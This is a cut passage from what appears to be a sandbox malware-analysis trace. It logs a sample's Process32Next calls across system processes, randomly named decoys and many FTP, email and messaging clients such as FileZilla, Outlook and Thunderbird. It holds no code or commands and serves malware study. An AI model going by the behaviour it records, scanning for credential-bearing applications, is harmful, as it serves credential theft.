th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.195] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0113.198] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0113.200] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0113.210] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.213] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.216] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0113.219] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.222] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.224] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.227] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.230] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.232] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.235] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.270] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0113.276] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.279] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0113.282] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0113.285] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.288] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0113.291] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0113.294] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0113.296] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0113.299] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0113.301] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0113.304] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0113.306] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.309] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0113.312] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0113.314] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0113.317] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0113.320] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0113.322] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0113.324] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0113.327] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0113.330] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0113.333] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0113.335] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0113.343] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0113.504] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0113.507] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0113.509] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0113.512] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0113.515] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0113.518] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0113.521] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0113.524] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0113.527] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0113.530] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0113.532] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0113.534] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0113.537] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0113.571] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0113.574] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0113.579] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0113.582] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0113.586] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0113.589] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0113.593] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0113.600] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0113.603] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0113.606] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0113.609] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0113.613] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0113.617] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0113.621] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0113.624] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0113.628] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0113.632] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0113.635] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0113.639] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0113.643] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0113.647] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0113.651] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0113.656] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0113.661] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0113.663] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0113.667] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0113.670] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0113.673] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0113.675] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0113.677] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0113.680] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0113.683] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 